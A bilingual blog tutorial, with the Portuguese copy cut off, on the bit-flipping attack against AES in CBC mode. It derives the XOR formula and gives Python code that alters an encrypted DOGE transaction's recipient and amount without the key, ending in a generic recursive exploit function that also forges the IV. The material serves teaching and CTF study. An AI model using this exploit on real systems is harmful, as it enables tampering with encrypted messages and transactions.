Normal view

There are new articles available, click to refresh the page.
Before yesterdaybig0us

A deep look into Cipher Block Chaining (CBC) Algorithm Bit Flipping

17 November 2023 at 03:00

The motivation for this article came after a long journey trying to study a bit flipping attack on the CBC (Cipher Block Chaining) mode cipher. The conclusion of my initial journey in this study took place after the construction of a CTF challenge that I created for an event by Boitatech. This article will cover the theory behind the attack.

Portuguese version: here 🇧🇷

Primitives

Before we start, we should note some interesting readings or knowledge to assist all the logic are the general concepts of cryptography, properties of XOR operations and of course, for the resolution of the examples, Python programming.

As described in Wikipedia about modes of operation including CBC, they only guarantee the confidentiality of the message, but the integrity is affected. This is very important considering the bit-flipping attack that explores precisely this property.

AES CBC

The CBC mode is one of the modes of operation of AES (Advanced Encryption Standard) a symmetric encryption algorithm, which means that the same key is used both to encrypt and decrypt the data.

Encryption

The CBC as the name says refers to the operation of the algorithm, which divides the plaintext into blocks, and each block is always considered in the operation of the following block, the following image shows the process.

As the first block does not have a previous block, what is used is the Initialization Vector, better known as IV, so an XOR operation is done being the 1st plaintext block $\oplus$ IV, the result is sent to the AES function which will result in the first block of ciphertext, note that this block also goes to the XOR of the second plaintext block and thus the process repeats itself with the other blocks.

The mathematical formula would be:

\[\large C_i=E_k(P_i \oplus C_{i-1}) \\ \large C_0=IV\]

Decryption

The decryption process follows the reverse logic of the encryption process. The first block of ciphertext is used in the decryption function, and this result is XORed with the IV to give the plaintext. Note that at the beginning, the first block of ciphertext is passed to the second stage in an XOR operation with the result of the decryption function of the second block. This process keeps repeating, always considering the previous blocks.

In the mathematical formula:

\[\large P_i=D_k(C_i) \oplus C_{i-1} \\ \large C_0 = IV\]

The exploitation of bit-flipping, which will be addressed in the next topics, occurs due to problems in the way the CBC’s decryption process takes place. Understanding it is crucial for the execution of the attack.

Bit flipping basics

Alice and Bob

The idea of bit-flipping can be explained by considering the scenario in the image above, where there is an insecure communication channel. For the purpose of our example, let’s assume that Alice will send a message to Bob. This message will be encrypted by Alice, so what will actually be sent is the ciphertext. Eve, the attacker, will intercept the ciphertext in the channel, and by carrying out the bit-flipping attack, will modify the content of the plaintext from the ciphertext without knowing the key. Thus, when Bob decrypts the message after receiving it, he will end up with a modified plaintext. The confidentiality of the message has been maintained, as it continued to be encrypted and its plaintext confidential; however, the integrity was affected since the plaintext was altered by Eve.

TLDR; bit-flipping is altering the final plaintext

I believe things will become clearer during the exploration and examples, but keep the TLDR in mind, what we’re talking about here is modifying the content of messages without knowing the key. Throughout the article, it will become clear that there are variations of the exploitation depending on how much the attacker knows about the original plaintext and other factors related to the encryption operation in question.

Understanding the problem

As discussed earlier, the bit-flipping attack on CBC is due to the decrypt process and is related to XOR operations.

Analyzing the above image we have:

  • Decrypt process being performed;
  • A plaintext/ciphertext of 3 blocks of 16 bytes, 3 * 16 bytes = 48 bytes in total

For the sake of example, let’s consider the following goal: We want to change the third, fourth and fifth bytes of the third block. In this case we know the original plaintext.

To do this it will be necessary to modify the third, fourth and fifth bytes of the second block. Notice that they are part of the XOR operation: $P_3 = D_k(C_3) \oplus C_2$, being:

  • $P_3$ the plaintext of the third block;
  • $C_2$ the ciphertext of the second block;
  • $D_k(C_3)$ the result of the decrypt of block 3;

The bit-flipping attack aims to change the final plaintext, in our case the altered plaintext will be $P_3’$, for this to happen, we should change the ciphertext, in our case the ciphertext of the previous block, we will call it $C_2’$, follows the logic:

Follow the operations below:

  • Starting with:
\[\large P_3 = D_k(C_3) \oplus C_2 \\ \large D_k(C_3) = P_3 \oplus C_2\]
  • Considering a modified plaintext we would have:
\[\large P_3'=D_k(C_3) \oplus C_2'\]
  • The common factor between the equations is $D_k(C_3)$, therefore replacing in the modified plaintext equation, we have:
\[\large P_3'= P_3 \oplus C_2 \oplus C_2' \\ \large C_2' = P_3 \oplus C_2 \oplus P_3'\]

Notice how the last equation turned out, we have a definition as being modified ciphertext = original plaintext $\oplus$ original previous ciphertext $\oplus$ plaintext that the attacker wants. The most interesting thing of all is that at no time do we need the key or understand the functions $E_k()$ and $D_k()$ we can reach an equation to carry out the attack just with XOR properties.

General bit flipping equation:

\[\large P_i' = P_i \oplus C_{i-1} \oplus C_{i-1}' \\ \large C_{i-1}' = P_i \oplus C_{i-1} \oplus P_i' \\ \large C_0 = IV ^ * \\ \large C_0' = IV' ^ *\]
  • * : It is also possible to work with the IV depending on the case, in the example of the CTF challenge covered in this article the attack involves modification of the IV

Weaponizing

Now that we have a theoretical definition about the attack and the CBC operation mode, let’s move on to practical examples. To simplify some things, we will use two python libraries:

$ pip install pycryptodome pwntools

We will start the following script to generate the ciphertext that we will attack:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def encrypt(key, iv, plaintext):
    plaintext = pad(plaintext.encode(), AES.block_size) 
    # add padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext

# random generated 16 bytes key
key = bytes.fromhex('63f835d0e3b9c70130797be59e25c00f')
# random generated 16 bytes iv
iv = bytes.fromhex('b05fee43fe4db7c5503b1f6732fedd1b') 
print('Key: ', key.hex())
print('IV: ', iv.hex())

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
print('Plaintext: ', plaintext)

ciphertext = encrypt(key, iv, plaintext)
print('Ciphertext in bytes:', ciphertext)
print('Ciphertext in hex: ', ciphertext.hex())

Note that the plaintext of the example is:

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'

Now let’s go to the attack scenario:

Alice performs a DOGECOIN transaction and sends 100 DOGE to BOB, who has the address “[email protected]”. Eve, the attacker plans to carry out a bitflipping attack and change the destination of the bitcoins to “[email protected]”.

With the attack scenario in mind, we can then set up the modified plaintext and outline our “target” bytes.

mod_plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
#                                                  ^^^          

In this practical example I placed the bytes to be changed in the same position as the theoretical example looking for a better understanding. Notice that the difference between the original plaintext and the modified one are only the third, fourth and fifth byte of the third block, so we have:

  • B turns into E (third byte of the third block, 34° total)
  • O turns into V (fourth byte of the third block, 35° total)
  • B turns into E (fifth byte of the third block, 36° total)

Remembering the bit-flipping equation presented in previous topics:

\[\large C_{i-1}' = P_i \oplus C_{i-1} \oplus P_i'\]

Trying to transform from mathematics to Python, we need to note that in the mathematical formula we are referring to the blocks of ciphertext/plaintext, where $i$ represents the block number, when we think in Python, a “byte by byte” operation is being performed, we are referring exactly to the position of the byte we want to modify in relation to the ciphertext/plaintext, so applying this, $i$ will now be the position of the byte to be modified in the final plaintext, now we will have to find that same position but related to the previous block, that is, going back 16 bytes, so $C_{i-1}’$ would be in python mod_ciphertext[i - 16].

target_pos = i
mod_ciphertext[i - 16] = plaintext[i] ^ ciphertext[i - 16] ^ mod_plaintext[i]
# mod_ciphertext = original_byte_plaintext ^ original_ciphertext_in_previous_block ^ malicious_mod_plaintext_byte

Notice, it’s an operation directly related to the bytes! If you are looking for an operation in python that defines this whole article, it is just above, if you have to remember something remember it!

Bit-flipping attack

To apply this operation in the script and carry out the attack, we need to modify the code a bit, adding a decrypt function (to test if the attack worked). Notice that there is a key in the code, but only to create the ciphertext and then perform the decrypt, it is not used in the attack.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def encrypt(key, iv, plaintext):
    plaintext = pad(plaintext.encode(), AES.block_size) 
    # add padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext

def decrypt(key, iv, ciphertext):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext, 16) 
    # remove padding
    return plaintext

key = bytes.fromhex('63f835d0e3b9c70130797be59e25c00f')
iv = bytes.fromhex('b05fee43fe4db7c5503b1f6732fedd1b') 

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
original_plaintext = plaintext
ciphertext = encrypt(key, iv, plaintext)

mod_plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'

target_pos1 = 34 # B to E
target_pos2 = 35 # O to V
target_pos3 = 36 # B to E

mod_ciphertext = bytearray(ciphertext)

# change B to E in position 34
mod_ciphertext[target_pos1 - 16] = ord('B') ^ ciphertext[target_pos1 - 16] ^ ord('E') # xor operation
# change O to V in position 35
mod_ciphertext[target_pos2 - 16] = ord('O') ^ ciphertext[target_pos2 - 16] ^ ord('V') # xor operation
# change B to E in position 36
mod_ciphertext[target_pos3 - 16] = ord('B') ^ ciphertext[target_pos3 - 16] ^ ord('E') # xor operation

print('[+] Old ciphertext: ', ciphertext.hex())
print('[+] New ciphertext: ', mod_ciphertext.hex())

print('[-] Decrypting...')

mod_plaintext = decrypt(key, iv, mod_ciphertext)

print('[+] Original plaintext: ', original_plaintext)
print('[+] Modified ciphertext ', mod_plaintext)

And as a result we have:

b'DOGECOIN transac\xc9L\xba\xf3l\xdatY\xb4\x94\xcd{\xef%+po [email protected]'

We managed to change the plaintext! Our malicious and modified ciphertext entered the decrypt and in the end we obtained the modified plaintext! By itself, the attack was completed, but as can be seen, the final plaintext ended up with certain strange bytes, which do not correspond to the original plaintext.

Variations

Before starting the topic of attack variations, I would like to bring back the image that represents the bit-flipping attack.

Notice the colors and identify them in the terminal print that contains the result of the attack.

  • Yellow: The modified bytes of the ciphertext
  • Green: The modified plaintext
  • Red: The corresponding bytes of the block previous to the bytes of the modified plaintext; the entire block was affected, affecting the final plaintext.

The conclusion regarding the red part is: As the ciphertext was altered for plaintext modification, this altered block of ciphertext, when passed through the decrypt function will result in a different and altered plaintext block.

Recursively in each block

The thinking that the attacker should have at this time is a thought linked to recursion, now we have a modified ciphertext, which produces a plaintext with a malicious email address (EVE), but this plaintext has wrong bytes in the middle of it. So, with this we have the same situation as at the beginning, A plaintext that we know needs to be altered (to change the bytes that came out wrong to the correct bytes we know from the plaintext)…

In the first example, the attack was carried out byte by byte, “line by line” in python, but the ideal would be a generic function that carried out the attack. Therefore, here begins the phase of developing the algorithm to automatically perform bit-flipping attacks in CBC.

Of course, this would depend on the attacker having access to the entire result of the final plaintext, without this, it is impossible to follow the next steps. That is, in some way the attacker has to be able to send a ciphertext and obtain the result of the decrypt of this ciphertext.

Exploit

To start the automation of the attack, first it is necessary to find a way to find the differences between one set of bytes and another, in our case, between the original plaintext and the modified one, finding these differences, the positions of each byte to be modified should be saved.

Basically what we will do is a diff, and what we will use will be one of the properties of XOR:

\[\large A \oplus A = 0 \\ \large A \oplus B \ne 0\]

Something XORed with itself is always Null, if it is something different from itself, it always results in something different, try to run the following script:

from termcolor import colored
from pwn import xor

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    # just to visualize what is happening in colors, ignore
    og = ''
    for i, b in enumerate(original_plaintext):
        if i in diff_positions:
            og += colored(chr(b), 'red')
        else:
            og += chr(b)
    mod = ''
    for i, byte_ in enumerate(modified_plaintext):
        if i in diff_positions:
            mod += colored(chr(byte_), 'green')
        else:
            mod += chr(byte_)
            
    print('[+] Original plaintext: ', og)
    print('[+] Modified plaintext: ', mod)
    print('[+] Positions to be modified: ', diff_positions)

Output:

Now we have a way to know what must be changed and what must be kept. Following the developed logic, let’s add to the code an algorithm to change each of these plaintext bytes in these positions by changing the ciphertext in these positions - 16.

NOTE: You may have thought: “But what about the positions to be changed that are less than 16?”. For these positions we would have to change the IV, we will work with this later on, so for now we will take only the positions that are >= 16.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext)
    return ciphertext
    
original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'DOGECOIN transaction: 100 DOGE to [email protected]'

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext = bit_flipping(original_plaintext, mod_plaintext, ciphertext)

print(decrypt(key, iv, new_ciphertext))

The function takes positions and changes the ciphertext of the previous block using the formula $C_{i-1}’= P_i \oplus C_{i-1} \oplus P_i’$ (line 13), and at the end returns the ciphertext.

When executed, the output is:

b'DOGECOIN transac\xc9L\xba\xf3l\xdatY\xb4\x94\xcd{\xef%+po [email protected]'

Exactly what we had before, now to play a little more, try to change more things from the last block of plaintext, using a mod_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]' (changing the domain of the email) we get: b'DOGECOIN transac]p\xc7P\xb6?)\xb6\xbb\x8av\x8c\xb68\x01\xe9o [email protected]'. You can see that it was changed.

Now we have a part of the exploit, a function capable of identifying the bytes to be changed and performing the attack automatically, but we still have some problems, the final plaintext is still wrong, now let’s apply the recursion that was mentioned in the previous topics.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext) # this ciphertext is wrong

    # recursively call the function until the modified plaintext is equal to the plaintext

    mod_final_plaintext = decrypt(key, IV, ciphertext) # the attacker needs to be able to decrypt the ciphertext
    new_ciphertext = ciphertext ## need to change the ciphertext again
    
    while mod_final_plaintext[16:] != modified_plaintext[16:]:
        new_ciphertext = bit_flipping(mod_final_plaintext, modified_plaintext, new_ciphertext)
        mod_final_plaintext = decrypt(key, IV, new_ciphertext)

    return new_ciphertext

To use recursion to our advantage, what the algorithm does is to consider the modified ciphertext that generates the strange plaintext, as a new ciphertext to be modified, so we run the function recursively (line 22) using as target the new_ciphertext (this ciphertext that generates the wrong plaintext). Note that even in the while only the 16th byte onwards is taken, this is because we have not yet started to mess with the IV.

After executing, we get:

b'\xc6\xd1\xad=\xabF\xd6\xcbE\r\x0b\xfe\xa8\x0b<Ftion: 100 DOGE to [email protected]'

It worked! Now the second block that was leaving wrong already appears, to play a little more, we can modify the transaction value to 999. Running it gives us:

b'\x08\xd4\xf1\x92\x90\x16\xd4\x07\x8c\xaa\xc4\xc9\x9c\xad\xd28tion: 999 DOGE to [email protected]'

Note that we still have a final plaintext that has wrong bytes, those belonging to the first block, how to fix it? For this we will have to enter a variation of the bitflipping attack, where the attacker can modify the IV used in the decrypt function. By changing the IV, we will be able to fix the first block, and thus we will have a 100% clean plaintext.

And how to change the IV? Using the general equation we come to:

\[\large C_{1-1}' = C_0' = IV' = P_1 \oplus IV \oplus P_1' \\ \large C_0 = IV\]

In order to apply this in our algorithm, we have to modify our function by adding two new arguments, the changeiv and the iv.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes, changeiv=False, iv=None):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext) # this ciphertext is wrong

    # recursively call the function until the modified plaintext is equal to the plaintext

    mod_final_plaintext = decrypt(key, IV, ciphertext) # the attacker needs to be able to decrypt the ciphertext
    new_ciphertext = ciphertext ## need to change the ciphertext again
    
    while mod_final_plaintext[16:] != modified_plaintext[16:]:
        new_ciphertext = bit_flipping(mod_final_plaintext, modified_plaintext, new_ciphertext)
        mod_final_plaintext = decrypt(key, IV, new_ciphertext)

    if changeiv == True:
        # the firts 16 bytes of our modified plaintext are wrong, so we need to change the iv, lets get exactly the first 16 bytes wrongs positions of the plaintext
        # like diff again      
        wrong_positions = []
        for position, byte_ in enumerate(mod_final_plaintext[:16]):
            x = xor(mod_final_plaintext[position], modified_plaintext[position])
            if x != b'\x00':
                wrong_positions.append(position)

        # iv to change   
        new_iv = list(iv)
        for wrong_position in wrong_positions:
            new_iv[wrong_position] = mod_final_plaintext[wrong_position] ^ iv[wrong_position] ^ modified_plaintext[wrong_position]
        new_iv = bytes(new_iv)

        # return a tuple contaning the new ciphertext and the new iv
        return new_ciphertext, new_iv

    return new_ciphertext
    
original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'DOGECOIN transaction: 999 DOGE to [email protected]'

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext, new_iv = bit_flipping(original_plaintext, mod_plaintext, ciphertext, changeiv=True, iv=iv)

print(decrypt(key, new_iv, new_ciphertext))

When checking if it is necessary to change the iv (line 26), a part of the diff is first executed, to get the exact positions of what needs to be changed, the application of the equation occurs on line 38, where the new_iv is modified using the equation. Note that there is nothing like position - 16, this is because the IV is another thing, the part of the ciphertext, what we do is just reflect the position to it, since both the first block of the ciphertext and the IV have 16 bytes of size. After execution, the result is: b'DOGECOIN transaction: 999 DOGE to [email protected]'

Now yes, a perfect final plaintext! As usual, to play around, try to change the mod_plaintext to only empty spaces…

original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'                                                '

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext, new_iv = bit_flipping(original_plaintext, mod_plaintext, ciphertext, changeiv=True, iv=iv)

print(decrypt(key, new_iv, new_ciphertext))

Executing…

image

It works too, this proves that now it is possible to make any kind of change.

Conclusion

After some research, I didn’t find many attacks or vulnerabilities that specifically involve bit-flipping in CBC, I believe that so far it is a theoretical vulnerability, which is usually found in CTF cryptography challenges. I found difficulty in researching the topic due to its complexity, and because many articles are focused on specific CTF challenges, so I decided to write this article to address the topic in a general way, without CTF challenges involved, bring the theory and mathematical operations seeking to address an example and carry it to the end with the aim of building a generic algorithm/exploit for any situation (within the variations of the attack).

It is important to mention that this article was constructed from personal research and study, therefore, it may contain errors, if you find any, please let me know so I can correct it. If this happens, send an email to: [email protected] or open an issue in the repository of this blog.

Thanks for reading!

A deep look into Cipher Block Chaining (CBC) Algorithm Bit Flipping

17 November 2023 at 03:00

A motivação para esse artigo surgiu após uma longa jornada tentando estudar um ataque de bit flipping na cifra de modo CBC (Cipher Block Chaining). A conclusão da minha jornada inicial nesse estudo se deu após a construção de um desafio de CTF que eu criei para um evento da Boitatech. Esse artigo contemplará a teoria por trás do ataque.

English version: here

Primitivas

Antes de iniciar acredito que algumas leituras ou conhecimentos interessantes para acompanhar toda a lógica sejam as ideias gerais de criptografia, propriedades das operações XOR e claro, para a resolução dos exemplos, programação em Python.

Como descrito na wikipedia sobre modos de operação incluindo o CBC, eles garantem apenas a confidencialidade da mensagem, porém a intergidade é afetada. Isso é bem importante tendo em vista o ataque de bit-flipping que explora justamente essa propriedade.

AES CBC

O modo CBC é um dos modos de operação do AES (Advanced Encryption Standard) um algoritimo de criptografia simétrica, isso significa que a mesma chave é usada tanto para criptografar como descriptografar os dados.

Encryption

O CBC como o nome diz se refere a operação do algoritimo, que divide o plaintext em blocos, e cada bloco é sempre considerado na operação do bloco seguinte, a imagem a seguir mostra o processo.

Como o primeiro bloco não possui um bloco anterior, o que é usado é o Initialization Vector, mais conhecido como IV, então é feita uma operação XOR sendo o 1° bloco de plaintext $\oplus$ IV, o resultado é enviado para a função AES que resultará no primeiro bloco de ciphertext, note que esse bloco também vai para o XOR do segundo bloco de plaintext e assim o processo se repete com os demais blocos.

Na formula matematica:

\[\large C_i=E_k(P_i \oplus C_{i-1}) \\ \large C_0=IV\]

Decryption

O processo de decrypt segue a lógica inversa do processo de encrypt, o primeiro bloco de ciphertext é utilizado na função de decrypt, e esse resultado é XOREADO com o IV para resultar no plaintext, note que no iníco, o primeiro bloco de ciphertext é jogado para a segunda etapa numa operação XOR com o resultado da função decrypt do segundo bloco. Assim o processo vai se repetindo sempre levando em consderação os blocos anteriores.

Na formula matemática:

\[\large P_i=D_k(C_i) \oplus C_{i-1} \\ \large C_0 = IV\]

A exploração do bit-flipping que será abordada nos próximos tópicos ocorre por problemas na forma que o processo de Decrypt do CBC ocorre, entender ele é crucial para a execução do atque.

Bit flipping basics

Alice and Bob

A ideia de bit-flipping pode ser explicada levando em consideração o cenário da imagem acima, em que existe um canal de comunicação inseguro. Para fins de exemplo levemos em consideração que a Alice enviará uma mensagem para Bob, essa mensagem será criptografada pela Alice portanto, o que será enviado mesmo será o ciphertext, Eve, o atacante interceptará o ciphertext no canal, e realizando o ataque de bit-flipping modificará o conteúdo do plaintext a partir do ciphertext sem conhecer a key, assim, Bob quando realizar o processo de decriptação após receber a mensagem terá um plaintext modificado. A confidencialidade da mensagem foi mantida, visto que ela continuou sendo criptografada e com o seu plaintext confidencial, porém a intergidade foi afetada visto que o plaintext foi alterado por Eve.

TLDR; bit-flipping é alterar o plaintext final

Acredito que as coisas ficarão mais claras durante a exploração e nos exemplos, mas tenha o TLDR em mente, o que estamos falando aqui é sobre modificar o conteúdo de mensagens sem conhecer a chave. Ao longo do artigo ficará claro que existem variações da exploração dependendo do quanto o atacante conhece do plaintext original e outros fatores relacionados a operação de criptografia em questão.

Understanding the problem

Como discutido anteriormente, o ataque de bit-flipping em CBC se dá por conta do processo de decrypt e tem relação com operações XOR.

Analisando a imagem acima temos:

  • Processo de decrypt sendo realizado;
  • Um plaintext/ciphertext de 3 blocos de 16 bytes, 3 * 16 bytes = 48 bytes no total

A fins de exemplo, vamos considerar o seguinte objetivo: Queremos alterar os terceiro, quarto e quinto bytes do terceiro bloco. No caso nós conhecemos o plaintext original.

Para isso será necessário modificar os terceiro, quarto e quinto bytes do segundo bloco. Pois perceba que eles fazem parte da operação XOR: $P_3 = D_k(C_3) \oplus C_2$, sendo:

  • $P_3$ o plaintext do terceiro bloco;
  • $C_2$ o ciphertext do segundo;
  • $D_k(C_3)$ o resultado do decrypt do bloco 3;

O ataque de bit-flipping tem como objetivo alterar o plaintext final, no nosso caso o plaintext alterado será $P_3’$, para isso acontecer, deveremos alterar o ciphertext, no nosso caso o ciphertext do bloco anterior, chamaremos de $C_2’$, segue a lógica:

Acompanhe as operações a seguir:

  • Começando com:
\[\large P_3 = D_k(C_3) \oplus C_2 \\ \large D_k(C_3) = P_3 \oplus C_2\]
  • Considerando um plaintext modificado teriamos:
\[\large P_3'=D_k(C_3) \oplus C_2'\]
  • O fator comum entre as equações é $D_k(C_3)$, portanto substituindo na equação do plaintext modificado, temos:
\[\large P_3'= P_3 \oplus C_2 \oplus C_2' \\ \large C_2' = P_3 \oplus C_2 \oplus P_3'\]

Perceba como ficou a última equação, temos uma definição como sendo ciphertext modificado = plaintext original $\oplus$ ciphertext original anterior $\oplus$ plaintext que o atacante quiser. O mais interessante de tudo é que em nenhum momento precisamos da key ou entender as funções $E_k()$ e $D_k()$ conseguimos chegar a uma equação para realizar o ataque apenas com propriedades do XOR.

Equação geral do bit flipping:

\[\large P_i' = P_i \oplus C_{i-1} \oplus C_{i-1}' \\ \large C_{i-1}' = P_i \oplus C_{i-1} \oplus P_i' \\ \large C_0 = IV ^ * \\ \large C_0' = IV' ^ *\]
  • * : É possível também trabalhar com o IV dependendo do caso, no exemplo do desafio de CTF abordado nesse artigo o ataque envolve modificação do IV

Weponazing

Agora que possuimos uma definição teórica sobre o ataque e o modo de operação CBC, vamos aos exemplos práticos. Para facilitar algumas coisas, usaremos duas bibliotecas do python:

$ pip install pycryptodome pwntools

Iniciaremos o seguinte script para gerar o ciphertext que iremos atacar:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def encrypt(key, iv, plaintext):
    plaintext = pad(plaintext.encode(), AES.block_size) 
    # add padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext

# random generated 16 bytes key
key = bytes.fromhex('63f835d0e3b9c70130797be59e25c00f')
# random generated 16 bytes iv
iv = bytes.fromhex('b05fee43fe4db7c5503b1f6732fedd1b') 
print('Key: ', key.hex())
print('IV: ', iv.hex())

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
print('Plaintext: ', plaintext)

ciphertext = encrypt(key, iv, plaintext)
print('Ciphertext in bytes:', ciphertext)
print('Ciphertext in hex: ', ciphertext.hex())

Note que o plaintext do exemplo é:

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'

Agora vamos ao cenário do ataque:

Alice realiza uma transação DOGECOIN e envia 100 DOGE para BOB, que possuí o endereço “[email protected]”. Eve, o atacante pretende realizar um ataque de bitflipping e alterar o destino dos bitcoins para “[email protected]”.

Com o cenário do ataque em mente, podemos montar então o plaintext modificado e traçar nossos bytes “alvos”.

mod_plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
#                                                  ^^^          

Nesse exemplo prático coloquei os bytes a serem alterados na mesma posição do exemplo teórico buscando um melhor entendimento. Perceba que a diferença entre o plaintext original e o modificado são apenas o terceiro, quarto e quinto byte do terceiro bloco, então temos:

  • B vira E (terceiro byte do terceiro bloco, 34° do total)
  • O vira V (quarto byte do terceiro bloco, 35° do total)
  • B vira E (quinto byte do terceiro bloco, 36° do total)

Lembrando a equação do bit-flipping apresentada em tópicos anteriores:

\[\large C_{i-1}' = P_i \oplus C_{i-1} \oplus P_i'\]

Buscando transformar da matemática para o Python, precisamos nos atentar que na formula matemática estamos nos referindo aos blocos de ciphertext/plaintext, onde $i$ representa o número do bloco, quando pensamos em Python, está sendo realizado uma operação “byte a byte”, estamos nos referindo exatamente a posição do byte que queremos modificar em relação ao ciphertext/plaintext, portanto aplicando isso, $i$ agora será a posição do byte a ser modificado no plaintext final, agora teremos que buscar essa mesma posição mas relacionada ao bloco anterior, ou seja, voltando 16 bytes para trás, logo $C_{i-1}’$ seria em python mod_ciphertext[i - 16].

target_pos = i
mod_ciphertext[i - 16] = plaintext[i] ^ ciphertext[i - 16] ^ mod_plaintext[i]
# mod_ciphertext = original_byte_plaintext ^ original_ciphertext_in_previous_block ^ malicious_mod_plaintext_byte

Perceba, é uma operação relacionada diretamente aos bytes! Caso você esteja buscando uma operação em python que defina todo esse artigo, está logo acima, se é pra lembrar de algo lembre dela!

Bit-flipping attack

Para aplicar essa operação no script e realizar o ataque, precisamos modificar um pouco o código, adicionando uma função de decrypt (para testar se o ataque funcionou). Note que existe uma key no código, mas apenas para criar o ciphertext e depois realizar o decrypt, ela não é usada no ataque.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def encrypt(key, iv, plaintext):
    plaintext = pad(plaintext.encode(), AES.block_size) 
    # add padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext

def decrypt(key, iv, ciphertext):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext, 16) 
    # remove padding
    return plaintext

key = bytes.fromhex('63f835d0e3b9c70130797be59e25c00f')
iv = bytes.fromhex('b05fee43fe4db7c5503b1f6732fedd1b') 

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
original_plaintext = plaintext
ciphertext = encrypt(key, iv, plaintext)

mod_plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'

target_pos1 = 34 # B to E
target_pos2 = 35 # O to V
target_pos3 = 36 # B to E

mod_ciphertext = bytearray(ciphertext)

# change B to E in position 34
mod_ciphertext[target_pos1 - 16] = ord('B') ^ ciphertext[target_pos1 - 16] ^ ord('E') # xor operation
# change O to V in position 35
mod_ciphertext[target_pos2 - 16] = ord('O') ^ ciphertext[target_pos2 - 16] ^ ord('V') # xor operation
# change B to E in position 36
mod_ciphertext[target_pos3 - 16] = ord('B') ^ ciphertext[target_pos3 - 16] ^ ord('E') # xor operation

print('[+] Old ciphertext: ', ciphertext.hex())
print('[+] New ciphertext: ', mod_ciphertext.hex())

print('[-] Decrypting...')

mod_plaintext = decrypt(key, iv, mod_ciphertext)

print('[+] Original plaintext: ', original_plaintext)
print('[+] Modified ciphertext ', mod_plaintext)

E de resultado temos:

b'DOGECOIN transac\xc9L\xba\xf3l\xdatY\xb4\x94\xcd{\xef%+po [email protected]'

Conseguimos alterar o plaintext! O nosso ciphertext malicioso e modificado entrou no decrypt e no final obtivemos o plaintext modificado! Por si só, o ataque foi concluido, mas como pode ser percebido, o plaintext final ficou com certos bytes estranhos, que não condizem com o plaintext original.

Variations

Antes de iniciar o tópico de variações do ataque, gostaria de trazer novamente a imagem que representa o ataque de bit-flipping.

Perceba as cores e idendifique-as no print do terminal que contém o resultado do ataque.

  • Amarelo: Os bytes modificados do ciphertext
  • Verde: O plaintext modificado
  • Vermelho: Os bytes correspondentes do bloco anterior aos bytes do plaintext modificado; o bloco inteiro foi prejudicado, afetando o plaintext final.

A conclusão em relação a parte de cor vermelha é: Como o ciphertext foi alterado para modificação do plaintext, esse bloco alterado do ciphertext, quando passar pela função de decrypt resultará em um bloco plaintext diferente e alterado.

Recursively in each block

